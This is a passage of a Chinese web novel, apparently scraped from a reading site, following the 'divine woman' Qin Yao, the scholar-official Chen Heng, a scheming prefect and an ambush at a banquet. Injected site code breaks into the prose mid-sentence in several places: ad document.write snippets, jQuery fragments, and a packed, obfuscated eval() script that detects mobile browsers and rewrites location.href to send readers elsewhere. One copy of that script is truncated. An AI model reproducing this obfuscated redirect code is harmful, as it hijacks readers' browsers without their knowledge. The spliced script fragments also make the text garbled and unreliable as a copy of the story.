秦娘让莹秋先带众人安顿,自己带着娇娇,随那丫鬟过去。 “啪——”刚走到老夫人院子前,就听得一道脆生生的巴掌声,“一个丫鬟,如今还敢蹬鼻子上脸,跳到主人家头上了!” 饶是秦娘早已做好了准备,也被这声音吓了一跳。 看来老夫人这是在指桑骂槐。 大丫鬟忙跑了进去,在老夫人耳边耳语了一番。 老夫人拄着拐杖,颤巍巍的站了起来,朝门口迎了过去。 她满头的白发掉的不剩多少了,勉强挽了个发髻,整个人比原来更为瘦弱,一张枯皱的脸上,那浑浊的双目灰败,早不似往日炯炯有神。 看来两个儿子的事对她打击颇大。 秦娘见她过来,带娇娇一起行了礼。 沈老夫人那干瘪的唇边扯出一抹苦笑:“假孙媳回来了?你们骗我老婆子可骗的好惨!” “老夫人稍安勿躁。”秦娘诚恳道,“此情此景,您不是该高兴吗?您的嫡长孙并未娶回一个带着女儿的寡妇,并未丢了你们沈家门楣。” 沈老夫人气极反笑:“这么说,我还要感谢你?” “正是。”秦娘厚着脸皮,“还请老夫人允我在此借住几日,待您那孙儿回来,我自会离去。” “想得倒美!”沈老夫人身边的陪嫁婆子此时出声,恶狠狠道,“我们老夫人是给你脸了?事到如今你还敢登我们沈家的门!” “这话又是如何说。”秦娘从袖袋中抽出一叠银票,在老夫人面前晃了晃,“我知老夫人如今遭了难,急需些银钱来托后半辈子,这些钱就当是我租下你们一处院子的钱,如何?” 沈老夫人那灰败的眼眸终于亮了亮。 不过,她又忍下这份诱惑:“你当我沈家是要饭的?随便拿些钱就打发了?” 秦娘也是愿意哄一哄陈衡这位祖母的,于是道:“那……老夫人还有何要求?若是不难做到的,我定当尽力。” 看她如此诚恳,老夫人一时拿不定主意。 还是她身边的婆子开口问道:“你……你先说说,你此次回来,又有什么目的?” 秦娘笑了:“老夫人放心,此次确是事出有因,城内灾民聚集,又恰逢您那长孙出城办事去了,他怕您一个人在宅里,又没那么多人手,若遭了贼事小,吓到您老人家可是大事。” 沈老夫人怔了怔,不敢置信的问:“真的?这话是我那孙儿亲口说的?” “千真万确。”秦娘点头,指天发誓。 “我娘现在是万民膜拜的神女,你还不信她吗?”娇娇在她身后兴奋道。 神女?院子里几人面面相觑。 她们早听闻城中有一神女,将天灾之事提前告知了百姓,才避免了更大的损失。 “你、你是神女?”几个丫鬟惊讶。 秦娘低了头,不好意思道:“不敢当,只是恰巧见天有异象,瞎猜罢了。” 方才那眼睛长到头上去的大丫鬟,“噗通”跪地,脸色发白道:“求神女原谅奴婢,奴婢不该怠慢您!” 院子里其他人也跟着一个个跪地拜倒。 “神女救了江城百姓,我们实在不该如此为难神女!”老夫人的婆子也开了口,“望神女原谅奴婢!” 沈老夫人的脸上闪过一丝困惑。 她看了看秦娘手中的银票,觉得接也不该,不接也心疼。 “那……那你们就在这儿暂且先住下吧!”她只得无奈道。 秦娘将那叠银票放入她手中:“这是您那嫡长孙给的,我上哪儿弄这么多钱,您放心收着。” 沈老夫人这才颤抖着手,将银票塞入怀中。 她看着秦娘,热泪盈眶,点头道:“虽你家世不好,又有了孩儿,做正室娘子不合适,不过……给我孙儿做个贵妾,还是能成的。” ……秦娘闻言,顿时后悔给了这老太婆银票。 众人在沈宅暂时安顿下来。 * 几日后,陈衡收到了秦瑶的来信。 信上将江城所发生的事来龙去脉详细描述了一遍,又托他在太子面前请功。 他来来回回把信翻看了几遍,也未在信中发现一丁点关心自己之语。 失望之余,在京中办完了事后,他便快马加鞭赶回了江城。 江城和往日 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 并无不同,他心中稍松了口气,一路直奔后寺巷。 然而到了巷子口,陈衡傻眼了。 这偏僻巷子本有许多空着的院子,杂草丛生,此刻却到处住满了人,好不热闹。 那些西郊来的百姓,见此处无人居住,纷纷占地为王,从此在城内安一个“家”。 陈衡和予安下马,对视了一眼,几步走到自家院门前,将门环砸的咣咣响。 “开门!公子回来了!”予安大喊。 可院内无人回应。 巷子里有不少人听到声音,探头出来看热闹。 一大娘好心道:“别敲了!那家前些日子遭了贼,里边的人都被杀了!” 两人脸色一白。 予安幽幽的转过头,颤声道:“不、不可能!” “怎么不可能?”又有一妇人喊道,“官府都来人了,在那儿蹲了整整两日呢!没抓到人!” 陈衡握紧双拳,骨节发白,低声问道:“尸体呢?” “尸体?”那妇人眼珠子转了一转,“许是被官府带走了吧!事是半夜发生的,我们都是第二日早上才知晓,那时这院子已大门紧闭,谁也不敢上前看一眼。” “予安,砸门!”陈衡吩咐。 予安稳住情绪,深吸一口气,将门一脚跺开! 门后的锁滚落在地,地上一片狼藉,到处都是家中的物件。 果然遭贼了! 不过——门锁是从里头上的? “公子!”予安有一瞬的激动,“人定无事!能把锁从里边锁上,再翻墙出来,刀剑一定回来过!” 他在,人应该不会有大事。 陈衡猛然转身,快步走出巷子。 他先是去了街市的各处铺子,又问了粮铺的人,近来可曾在庄子上见到她们…… 一无所获。 阿瑶她们会去哪里? “不会真出事了吧……”予安心中七上八下,胡乱猜测道,“是不是地动之时,秦娘子正在她们村子里……不可能,若真有事,她还能给公子回了信?” 陈衡上了马,一甩马鞭,赶往村里。 这一日,他们主仆俩将全城翻了个底朝天,也没找到秦瑶等人。 正当两人心灰意冷的走到沈宅时,遇上了正要出门的刀剑。 “你回来了?”刀剑见他风尘仆仆的赶回来,并不意外,道,“这么快,是不是为了见你那位小寡妇?如今她可不得了,成了神女,你以后若想让她进门……” 话没说完,陈衡的身影已消失在大门之内。 予安终于放下了心,他长舒了一口气,又气愤道:“你们换了地方,也不告知我们一声!害我和公子好找!你知不知道,后寺巷出了命案,那院子遭了贼了!巷子里的人还说,你们全都被灭了口!” 刀剑摆了摆手:“什么遭贼了,幸好我们走的早,那是有人故意的。我们前脚刚走,当晚就有贼人杀进去了!可惜他们没找到人,只好将那里乱翻了一通……” 月明星稀,华灯初上。 秦娘正坐在院子里乘凉,忽听耳边有人道:“阿瑶。我回来了。” 随即她便落入一个温暖的怀抱。 39. 娘子醉了 秦娘正醉着,却听耳边有人叫她“阿瑶”。 谁会如此唤她? 她想起自己的爹娘,在她还在娘的怀抱中时,他们会一声声唤自己“瑶儿”。 这如此独特的称呼,只有陈公子了。 她醉眼迷离,朝着发出声音的地方望去。 院子里烛光昏昏暗暗,又被灯笼罩子遮了大半,眼前的一切影影绰绰。 一道熟悉的身影却显真切。 他一身浅色衣袍沾了灰尘,已不干净,一股子汗味扑面而来。 秦娘皱了皱眉头,深吸了一口—— 这影子还带不同寻常的味道呢。 “陈公子,你?你打哪儿来?”她卷起舌头,逗弄起了这抹影子。 陈衡见她白皙的脸上的已有两团红晕,言语间酒气熏人:“你醉了?” 轮到他皱了眉,方才那冲动之下的怀抱怕是她记不得了。 也好。 许是今日找她找得急了,猛地相见之下竟生出了不该有的冲动。 他收起心思,又恢复了清醒:“是我,我回来了。” 秦娘揉了揉眼睛,这才看得真切了些,好像真的是陈衡。 她鬼使神差的,抬起手,拿手指戳了戳他那张俊脸。 温热,带着气息。 “夫君真的回来了?”酒醉之下她竟不由自主做出了一些超出控制的动作,一把环住了他的腰,“你可真狠心,扔下我们走了这么久!” 那腰部健硕有力,她忍不住捏了下。 活了两世头一次揩美男子的油,她笑得花枝乱颤,没想到自己也有这么一天。 这么想着,她将脸贴近对方的胸前。 陈衡眸色一暗,扶着她的双肩将她推开:“阿瑶醉了。” 之前的怒火此刻冲上心头,整整一日,他焦急不安,害怕她出了事,可她却在此饮酒赏月,好不快活。 换了地方,就不能去信告知一声? 他讨厌这种事情超出他掌控的感觉。 看着那张面若桃花的脸,他伸手钳住了她的下巴,用力,指肚缓缓在那朱唇上划过。 下一刻,他恶狠狠的咬了上去。 “公子!”侧边厢房的门“吱呀”一声打开,莹秋站在前廊下,见陈衡回来,忙叫了一声。 刚触碰上的唇迅速离开,他恹恹转身。 莹秋一路小跑下来,扶上了秦瑶,道:“如今秦娘子已是城中人人皆知的神女之身,公子且自重!” 神女?他挑眉,不置可否。 莹秋又道:“公子与秦娘子既是做戏,事已成,望公子放秦娘子归去!” “是她同你说的?” 他背对着两人,莹秋不知他神情如何,只听得语气中略带些讽刺。 莹秋心惊胆战,硬着头皮道:“秦娘子确实同奴婢说过,她自己挣得这一切,终于不用倚靠公子了。” 陈衡久久沉默。 倚靠?她秦瑶何时倚靠过自己? 连京中的波谲云诡她都能替他化解,眼看着东宫谣传四起,却被一场“天罚”迅速扭转了局势。 陈衡垂眸,掩过目中异色,道:“甚好。” * 第二日,日上三竿秦娘才起。 听得陈衡昨夜归来,她便兴冲冲的过去找他。 陈衡向来勤勉,此刻已在书房半日,见她过来,却头也不抬。 秦娘的兴致被他打消了一半,偷偷抬头去瞧,发现他眼下黑青,分明是昨夜没睡好。 “公子见谅,昨夜我睡得早,不知您回来了。”她小心翼翼道。 “是吗?”陈衡一边写着什么,一边问话,“几时歇下的?” 秦娘愣了愣,不知他为何会问这么个唐突的话。 陈衡似也察觉到不妥,转了话题道:“想必朝中已有人上奏江城之事,不日你即可启程入京了。今日尽快到府衙拿了文书等物,拖的久了恐有变。” 她行了一礼:“谢公子提醒,我这就去。” 入京需路引,她不得不与府衙打交道。 陈衡手中的笔一滞。 他本是等她开口,求自己同去…… 如今这神女身份,竟是不用他帮忙,也能凭自己将事情办成? “那还等什么!”他开口,语气不耐。 秦娘忙告辞,退了出去。 见予安在书房门口张望,她上前悄悄问道:“公子这是怎么了?你们此次回京不顺利?怎么一大早发这么大脾气!” 予安瞥了她一眼,幽幽开口:“你们搬家,竟把公子忘了,害我们昨日在城里城外翻找了几遍!不止公子他有气,我也懒得理你!” 秦娘一拍脑袋:“我竟出了如此纰漏!刀剑他……他没跟你们说?” “他?他一大老粗,你指望他记得?”予安撇了撇嘴。 秦娘讪讪笑了笑,松了一口气。 若是这等原因,过两天气消了就好了。 谁料予安又道:“对了,公子吩咐了,秦娘子你既已帮他办妥了约定之事,他也不该再留你,待送你与左家小姐入了京,你便自由了。” 这话如同大锤砸在心上般,将秦娘砸的说不出话。 半晌她才回过神来,茫然问道:“公子的意思,分道扬镳?” “正是。”予安点头,“你放心,我们公子自然不会亏待你,京城地贵,他已替你置办了宅院,就算你在江城帮他料理种种的谢礼。” “可我已有了那百金……”她讷讷道。 “秦娘子有本事,就凭您此次助东宫扭转乾坤,百金不足提!”予安摆了摆手,“还望秦娘子别嫌弃。” …… 秦娘也不知自己是如何出了门的,等回过神来,她已到了府衙大门。 那几位时常跟着她的婢女,也并未跟来,不知是不是陈衡下了命令。 毕竟人是他买的。 她叹了一口气,自嘲一笑,原本安静的世界,一声声街头叫卖突然窜入耳中。 热闹的大街让她恍惚了一下,刺眼的阳光将她拉回了现实。 自那日见到他起,就知道结局本就该如此,又有什么好想不通的? 秦娘重拾起信心,走进府衙大门。 守门的官差早认得她,凑过来道:“是姑娘啊,那日你被崔老头所救,没想到一转眼就有大出息了!” 她仔细一瞧,是曾在牢狱见过的差役,于是笑道:“你也从那暗无天日的地方出来了?” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' “托姑娘的福。”他兴奋道,“幸好那日发现的早,将你救回来了,后来陈公子又提供了线索,将下毒之人的尸首归案,我们也算是立了功,便调出来了。” 陈衡他……果然没骗自己。 秦娘一时感叹。 “姑娘这次来,所为何事?用不用我进去通报?”他道。 秦娘点头:“那就劳烦小兄弟了,我想办路引及文书。” 这人倒是利落的紧,很快带着她穿过寅恭门,来到了二堂后厅。 这是处理一般公务之地,可秦娘却在此处见到了一个她并不想见的人——秦馠。 领她过来的差役悄悄耳语:“这位姑娘是我们秦知府新认的干女儿,说来也巧,你们都姓秦。” “干女儿?”秦娘毫不意外,“干女儿不在后院家眷住处待着,上这儿来做什么?” 她见秦馠浓妆艳抹,言笑晏晏,身后侍女还抱着她的琵琶,不由得皱了皱眉。 难不成秦知府要在这办公之地,休憩之余,听些靡靡之音? 秦馠听得她的话,起身一笑,迎了上来:“自然是等你。” 秦娘侧身避开,心中警惕。 只见她将手中一纸公文拿出,在秦娘面前晃了晃:“你的路引,怎么,不想要?” 秦娘接了过来,径直走到秦知府面前。 “大人,我在江城的功绩,也烦请府衙表书一封,以示证明。”她道。 秦知府抬了抬他那厚重的眼皮:“什么功绩?你一个小小妇人,有何功绩?” 难怪那么轻易就把路引给了自己,秦娘饶是心中早有准备,此刻也不免气愤。 她回头看了眼秦馠,直戳了当问道:“敢问大人,您是要为您这干女儿犯下欺君大罪?” “放肆!”秦知府重重拍了桌案,“一介民妇,见了本官不行跪拜之礼,本官看在你与我干女儿相识一场的份上不予追究,你倒在此胡言论语起来!再敢造次,拉出去!” “干爹不必动怒。”秦馠上前献上一杯茶水,道,“她能掀起什么风浪,没了表功文书,就算入了京,能入宫的也只有我。” 看来这文书,她今日是别想拿到了。 秦娘嗤笑一声:“你们真当我入不了宫,戳穿不了你们的谎言?” 见她仿佛胸有成竹,秦馠有一瞬间的慌乱。 却听秦知府大笑道:“你?入宫?你当那皇宫是想进就进的?” “干爹。”秦馠小声提醒道,“别忘了她身边那位公子。” 秦知府收敛了笑容,处在权力漩涡中的他,早已知晓陈衡的身份。 江城已坏了二皇子的事,若再不把自己人这神女的身份保住,任由秦瑶进了宫,二皇子就彻底完了。 如今世子也在江城张家,他想做墙头草倒戈,怕是难。 思来想去,他突然拍案而起:“此人冒充神女!来人!把她抓起来!” 周围差役面面相觑。 “都没听到我的话?”秦知府一声令下,“抓人!” 众差役这才反应过来,将秦娘围住。 “我看谁敢?”不远处一道声音传来,只见刀剑从墙头跳了下来,对秦娘道,“稍安勿躁,我们公子如今已在门外。” 40. 我是秦瑶 秦知府气得大骂:“当我这府衙是什么地方,随便一个阿猫阿狗都能放进来!你们一个个都是做什么吃的!” 众人被训得抬不起头来。 “还不快去拦住他!”他大叫。 一行人又急匆匆从秦娘身边撤走。 还未走出寅恭门,却见一人穿着官服,身后跟一持剑小厮,正往此处来。 几人又定睛一看,那官服品级比知府的还高,绝不是能轻易得罪之人。 于是众差役又退了回来。 “大人,拦不住啊!”差役急道。 见陈衡信步而来,秦知府慌忙挺着肥硕的身躯迎了上去,笑道:“不知陈大人大驾光临,有失远迎,罪过!罪过!” 他与陈衡打过两次交道,那时他的身份还是沈家大郎。 幸好张家提前跟他通了气,不然他是如何也料想不到,这沈家大郎竟有另一重身份。 陈衡的目光将在场人士一一扫过,并未在秦瑶身上多停留。 “我家大人听闻神女在此,故来此告知神女,宫里已下了旨,不日圣旨即到,要宣神女入宫呢……”予安先开了口,“秦大人,不知神女犯了何罪?竟要被拘押?” 秦知府擦了擦额头渗出的汗,抬起手指颤巍巍的指了秦娘,道:“这儿有个人,冒充神女,下官正审问。” “冒充?”予安锁紧眉头,“大人怎知是冒充?” 秦知府朝秦馠招了招手,示意她上前:“这位才是神女。” 秦馠朝陈衡福了一礼,低头羞涩道:“不知公子可还记得奴。” 陈衡垂着眼眸,并未看她。 “她?”予安挡在陈衡面前,“你说神女是她?如何证明?” “下官可找几个当日在场的百姓。”秦知府挺身,又摆出他的威严来。 “秦大人,我提醒你。”陈衡突然开口,盯着秦知府道,“你骗得了官家,骗不了天下。” 秦知府一哆嗦,只觉腿脚发软,“噗通”一声跪了下去:“下官万不敢欺瞒官家!陈大人,还望大人在官家面前千万别说错了话!” 他趴着头,目光中闪过阴毒。 陈衡和神女,一个也别想出了他的江城! 予安从怀中拿出一卷文书,上好的布锦在阳光下泛着白光,上边隐隐透着几行字。 他将文书展开,置于桌案上。 “字已备好,不劳大人费力。”他道。 陈衡默默垂眸,看着趴在地上的秦知府,冷冷道:“还请大人加盖官印。” 秦知府起身,一个趔趄,爬到书案旁,盯着那卷文书,冷汗从额上流下。 他悄悄瞥了眼秦娘,见她从容而立,眼角下垂,隐隐间竟有种神女下凡般的慈悲。 一刹那他产生了一种错觉,明明才二十多岁的妇人,却像极了活了太久的老人。 他拿起印章,就要盖上去—— “等等,干爹!”秦馠猛地抬起胳膊,阻挡了他的动作,“不就是占卜预测?如此就能被称之为神女,我也当得!” 此言一出,众人的目光全聚集在她身上。 秦知府的心颤了又颤,抖着那只拿了官印的手,道:“真的?若能证明,这文书也有你的一份!” 秦馠得意的笑笑,将目光转向秦娘:“如何?敢不敢比试比试?” “活了这么久,我实在没想到,你竟愚蠢至极!”秦娘远远看着她,心中微微叹息,“照你这么说,这世上所有能占卜预测将来之人,都有资格被称之为神女?” 秦馠被这话噎得愣住:“……那你说,凭何你为神女,我就不能?” “凭她救了苍生!”陈衡沉沉开口,“当日她得知将有祸事,奔走于田垄,劝人逃离,你呢?” “城门关闭,又是谁求你打开,只为救城外百姓的命?神女,不是一纸表功文书可证,是心怀百姓,活在天下苍生心中!” 那话如雷贯耳,句句震在所有人心上。 差役们低下了头。 秦馠痴痴道:“我……我也可以,我也能做的,我只是……只是比你晚了一步……” “是吗?”秦娘嘴角绽放一抹笑,“你真的想到了?那后寺巷的灾民,夜半的厮杀,若我未提前搬离,是否今日就是你刀下冤魂?” “不是我!”秦馠摇头,她不能承认,她也不愿承认,明明自己同对方一样,掌握着不可告人的秘密,却走向了不同的路…… 她恨自己,更恨这个与自己命运牵绊之人,在她的对比下,自己如同蝼蚁般低贱肮脏! 秦知府迟迟不肯按下的印章,终于重重盖在了文书上。 看来今日不给文书,这些人是要在此耗下去了。 他不是固执之人,懂得灵活通变,就算得了这文书又怎样,那神女依旧走不出他的江城。 予安换上一副笑脸,将文书拿在手中挥了挥,待印章干了些,忙卷了起来,对秦知府道:“大人,承让!” 他将文书完好无损的递给秦娘。 “这是公子最后一次帮你。”他道。 陈衡转身背手,道了句:“告辞。” 主仆二人一同离去。 秦娘抱着那卷文书,一时呆滞。 两人曾经经历的种种,一幕幕在眼前浮现。 如此,便算是缘分已尽? 她不敢置信。 站在秦娘身边的刀剑,轻轻拿刀柄戳了戳她:“你还不追上?” 秦娘痴痴迈开步伐,这是她活了两世,第一次鼓起勇气,朝对方的背影追去。 “公子!”她急急叫道。 陈衡脚步停了。 “秦瑶姑娘。”他并未回头,“若因此谢我,要以身相许,大可不必!” 万般言语,突被噎在了喉间。 秦娘张了张嘴,愣是一句话也说不出来了。 她该说什么?求他,让自己跟着他?以什么身份? 她说不出口。 女儿家,也有自己的骄傲。 陈衡等了片刻,见身后再无动静,抬脚离开。 秦娘就这样站了半晌,心中再无他念。 仿佛一棵老树开了花,又被秋风吹过,花落了一地后,迎来寒冬,被冰雪包裹。 来年春天,她还是一棵枯藤老树。 曾经的花开,不过一场梦而已。 * “站住!” 秦娘漫无目的的走着,却被人叫住。 她回过头,是秦馠跟了过来。 “我原没想做那些事……”秦馠咬了咬下唇,道,“我也是身不由己。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13958623|145921||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 秦娘回过神来:“事情已然发生,不管你是何原因。” “沈鱼欠了债,我被他卖去还赌债……如今我已是残花败柳,想必你很高兴吧……这一世,我甚至不如上一世,不如你安排之下的我的人生!” 一切都是执念。 上一世未曾得到过的爱恋,让人生了执念。 “你同我说这些,是在后悔?”秦娘自嘲的笑了笑,“我又有何凭去掌控他人的一生?” “你知道我最恨你哪点?”秦馠眼角似有一滴泪快要溢出,“你太过自大,插手我的一切,若我有一丝不愿,你便苦口婆心的劝我,不停的逼我做抉择!” “你从未让我自己选择一次!若我能早日选一次,明白一些道理,也不至于沦落到这种地步……” “我杀了你,是我不对,也是你咎由自取……” “可事到如今,我不得不承认,重来一次,你是对的……” 她败了。 无论缘由,她这一世过得极其失败。 虽然她向自己低了头,秦娘还是无法原谅杀害自己之人。 她收起那颗快要软下去的心,道:“既已知道,为时不晚。” “我会想尽办法离开沈鱼。”秦馠自顾自地说着,看向自己那双手,“我不该学琴,明明生来便拥有上一世熟练的技艺,为何要选一条我并未走过的路!” 她从未如此清醒过。 秦娘道:“很好,如此一来,你我两清。” 不求她悔恨,不求她报了养恩,只愿两人从此以后再无关系。 “我想开个绣坊。”秦馠犹豫了一下,开口道,“我的身契在沈家,陈公子并未追究我,将我当逃奴,我心中感恩,可……我还是要厚着脸求一求你,将我的身契还来。” 秦娘冷笑,说了这么多,原来是为了要回自己的自由身。 “我做不到,我已离了沈家,如你所料,我和陈公子自然也是假夫妻。”她道。 秦馠脸上闪过讶异:“不可能,他明明那么维护你……” 秦娘道:“人前总要做做样子。” “你们做样子也能做的那样好……”秦馠目光中流露出一抹嫉妒,“你这人,总是比我运道好,不过如今得知你的姻缘是假的,我很高兴。” 她的确十分高兴,没了陈公子相助,若在京中开绣坊,她秦瑶也不是自己的对手! “你这种人,就算得了真心,又如何能明白?”秦馠嗤笑,她看得真切,陈衡对她是有一些别样的情愫。 秦娘方才收拾好的心情,又散落开来。 她转过身,不再多言。 她突然记起,她们本是这世上相互了解最多的人。 如今也要陌路。 “我还记得你的名字。”秦馠嘴角扯出一抹苦笑,“从此,你是秦瑶了。” 秦娘疾步走到路边,从怀中摸出那卷文书。 她按捺着不安跳动的心,小心翼翼展开文书,上边是陈衡苍劲有力的字:秦氏,名瑶。 从此以后,她的名字将留在史书中,不是秦娘子,是秦瑶。 “秦瑶。”秦馠第一次叫了她的名字,“有人不会想你顺利入京,而我,必定比你先入京城。夺得先机有多重要你知道,这是我对你最后的忠告。” 41. 夫妻赴宴 还未接到上京的消息,张家先求上门来了。 予安在街上找了很久,才将在客栈住下的秦瑶找到。 “秦娘子——”他犹豫道,“你不打算回去了?” 秦瑶道:“我正要劳烦哥儿呢,娇娇如今还在贵府,怕是跟着我住不惯,横竖过不了几日便可启程上京,不如让她在贵府住上几日?” “这倒是小事。”他将邀帖递给秦瑶,头疼道,“张家又下了帖子,你还得回去,跟我家公子去赴宴。” 想到那日的尴尬,她不知该如何面对陈衡。 于是推脱:“公子为何不能一人前去赴宴?” 予安道:“是世子妃,点了名要见你。” 想到娇娇的事,她思索片刻,还是应下了。 这河流改了道,张家田庄突然被人掐住了命脉,上游水源不再掌握于自己手中,这几日十分惶恐。 张家先是花了大价钱,买下了那片村庄的所有地,又悄悄登记在太子府名下,本欲嫁祸太子强抢民田,又等来一个“天罚”的好时机。 谁料地龙翻身,竟是助了太子! 如今有了水源,太子府的这块地可是上好良田,张家真是搬起石头砸了自己的脚。 难道东宫那位,真的是真龙天子? 一时之间,张家人心动摇,连带着依附于他们的其他家,都不免后悔站队太早。 世子住在张家,岂会看不出这些。 他支持二皇子多年,早与东宫反目,此时更逼着张家这门亲戚跟自己牢牢绑在一起。 “你们如今想反悔,是万万不能!”世子甩了袖子,怒道,“你以为东宫就查不出,你们多年暗中支持二皇子?张家的钱源源不断送入皇子府中,早已不是什么秘密了!” 张老爷一脸为难:“世子,我们张家无权无势,在江城经营赚些小钱,只求全家平安呐!如今庄子又被外人把控了上游河道,往后我们……唉,我们可怎么过!” “你也敢说你无权势?”世子仿佛听了个天大的笑话般,讥笑道,“本世子,就是你张家的权!张家的势!你真忘了,你们张家是怎么在江城发展壮大的?” “是啊,张老爷,你也不出门打听打听,百姓都管你们张家叫……叫什么豪强!”世子身边跟着的一位公公道,“杂家跟了二皇子这么多年,你们张家起势,我可是记得清清楚楚!那哪能离开我们二皇子的苦心谋划!” 张老爷一脸灰败。 纵然他也知道,事到如今张家想全身而退,根本不可能。 “我请了詹事府的那位来,商量河流改道之事。”他忧心忡忡,“还望世子见谅,莫要再出手阻拦。” 世子道:“我与他也是旧相识,他来府上,我同你一道见便是。” * 秦瑶对陈衡,一日不见如隔三秋。 这人明明在她眼前,看着却陌生了起来。 她把话默默吞到肚子里,低着头福身道:“公子。” 陈衡置若罔闻,下了马车站在张家大门口,沉默了许久。 也不知他在想什么。 秦瑶只得跟在他身边,同他一起望着那朱漆大门。 “这宴席恐有危险。” 随着大门缓缓开启,陈衡的话从她头顶传来。 她抬头看着他,满眼惊疑,心里更是把人从上到下骂了一遍,才道:“你若早说,世子妃请我我也不来!” 门一开,张老爷便笑呵呵的迎了上来:“贵客上门,快请,世子爷也在候着您呐!” 得了张老爷亲迎,秦瑶稍放了心。 搁平日里都是递了帖有人引进宅内,张家老爷亲自相迎,诚意十足。 想是村里的河道拿捏了张家庄子的缘故。 两人跟着张老爷往里走着,予安和莹秋他们却被拦住了去路。 张老爷解释说要商量重要的事,对他们另有安排,于是陈衡也并未阻止。 让她感觉唯一不妥的是,宴席的地点设在从无待客规矩的内院。 穿过前厅,内院别有一番景色,山水互映,虽是假山假水沟的,也同样引人注目。 这可比沈宅大多了。 穿过这些弯绕的回廊,地方豁然开朗。 张家的内院中竟有一个大场地,空旷如府衙的正院,铺着上好的青砖。 再往上几个台阶,便是内院的厅堂了。 这里从不待客,今日却摆了几桌宴席,上方世子与世子妃正端坐。 张夫人见秦瑶来了,拖着丰腴的身躯迎了上来,声如洪钟:“陈娘子来了,这么些日子没见,外边传的风言风语的,都把你说上天了!” 世子妃适时开口:“快让我们瞧瞧,这神女有没有变了样?” 秦瑶行了一礼,恭敬回道:“不过外头谣传,妾身还是妾身。” 这回答还算令世子妃满意,她点了点头,示意秦瑶入座。 此次单独宴请,并未隔开男女。 陈衡和张老爷寒暄了几句,带着秦瑶一起入了座。 “陈大人。”不远处秦知府匆匆赶来,喘着粗气拱手向陈衡施礼,“张家的事,今日本官就做个见证,大人您不介意吧?” 他也来了。 这蛇鼠一窝的人都到齐了。 陈衡并未起身,只微点了下头。 张老爷和秦知府都呆愣了一下,看出了他十分不满。 秦知府悻悻入座。 世子饶有兴致的看着台阶下这一切,笑道:“陈兄架子还是那么大,这里是江城,俗话说的好,强龙不压地头蛇。” 秦知府吓得又站了起来:“世子,在下绝不是什么地头蛇!” “开个玩笑,秦大人何必当真。”世子道。 他又将目光转向陈衡身边的秦瑶。 “陈兄什么时候娶了妻?若让京中那些闺阁女子知道,又该多流几行泪。” “世子误会了。”陈衡道。 世子猛然睁大眼睛,坐直道:“误会什么?” “我虽与秦姑娘有过婚约,可那都是幼时玩笑,不作数。”他拿起案上酒杯,一饮而尽。 此刻正是个撇清关系的好时机。 秦瑶与他也算默契,明白他说这话的用意。 若真有什么危险,不至于两人都被拿捏。 果然,此话一出,在场人表情怪异,各有心事。 世子妃先笑了,出言讽刺:“我就知道,陈公子不会娶这么个小门户的女子。” 张夫人忙打了圆场:“如今娘子也是有了名声,今后嫁娶自是不难的。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13972966|145921||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >世子妃暗暗瞥了她一眼,哼,神女,谁敢娶一个神女。 见自己夫人圆场,张老爷终于把场面拉了回来。 “陈——大人。”他满脸堆笑,“不知太子府那些良田,之后作何打算?若是不嫌弃,我张家愿奉上金银以助东宫,还请太子将那些地全都让我张家帮忙打理。” 陈衡皱眉:“官家将那些田看作是上天赐下的福祉,如今怕是动不得。” 张老爷急道:“只是代为打理,还请陈大人在太子面前替我张家美言!” “噗——”世子一口酒没忍住,全喷了出来。 “瞧你那谄媚的样儿!不就是块地吗?本世子再给你就是了!”他重重放下酒杯,“值得你在这儿巴结什么东宫太子?” 世子妃忙捂了帕子,帮他擦嘴。 张老爷被呛,一张脸憋得通红。 他突然脑子就转过弯来了——世子是故意拆台,不打算袖手旁观了! 看来他张家不得不与二皇子永远绑在一处了。 张老爷坐了回去,又用眼角余光瞟向四处,果然见四周墙头隐隐有人头。 他闭了闭眼,如今也只能盼着二皇子能登上皇位了! 席间又过了一轮酒。 陈衡微倾身子,凑近秦瑶:“找个时机脱身。” 世子妃微微抬眼,仿佛听到了这话,道:“张夫人这院里的花开得极好,秦娘子不如陪我一观?” “是。”秦瑶只得起身。 花圃就在两侧,众女眷跟着世子妃一道赏花。 “过两日秦娘子就要上京了吧?”世子妃似是不经意提起,“我也正要回京。” “那秦娘子岂不是能与世子妃作伴?”张夫人立刻接过话头。 秦瑶忙道:“不敢劳烦世子妃,此次进京还有要事……” 她犹豫,该不该跟世子妃提娇娇的事。 如今看来,对方非友,说了应会误事。 于是她便不再提。 世子妃道:“你倒是敬酒不吃吃罚酒,来人!” 她身边跟着的侍女突然出手,将秦瑶钳住,一把匕首瞬间抵在了她的颈边! “哈哈!”世子大笑,将桌案拍得咣咣作响,“陈衡受死!” 四周围墙人头涌动,竟是一群手持箭弩的人! 然而下一刻,陈衡便如鬼魅般近了世子的身。 “别动!”他以迅雷不及掩耳之势抽出了世子的佩剑! 场间形势逆转。 “你敢劫持我?”世子稍动了一下,脖颈间便渗出一丝血来。 世子妃在不远处喝道:“放了世子!秦娘子还在我手里!” 陈衡道:“放她走!不然世子今日就与我同归于尽!” 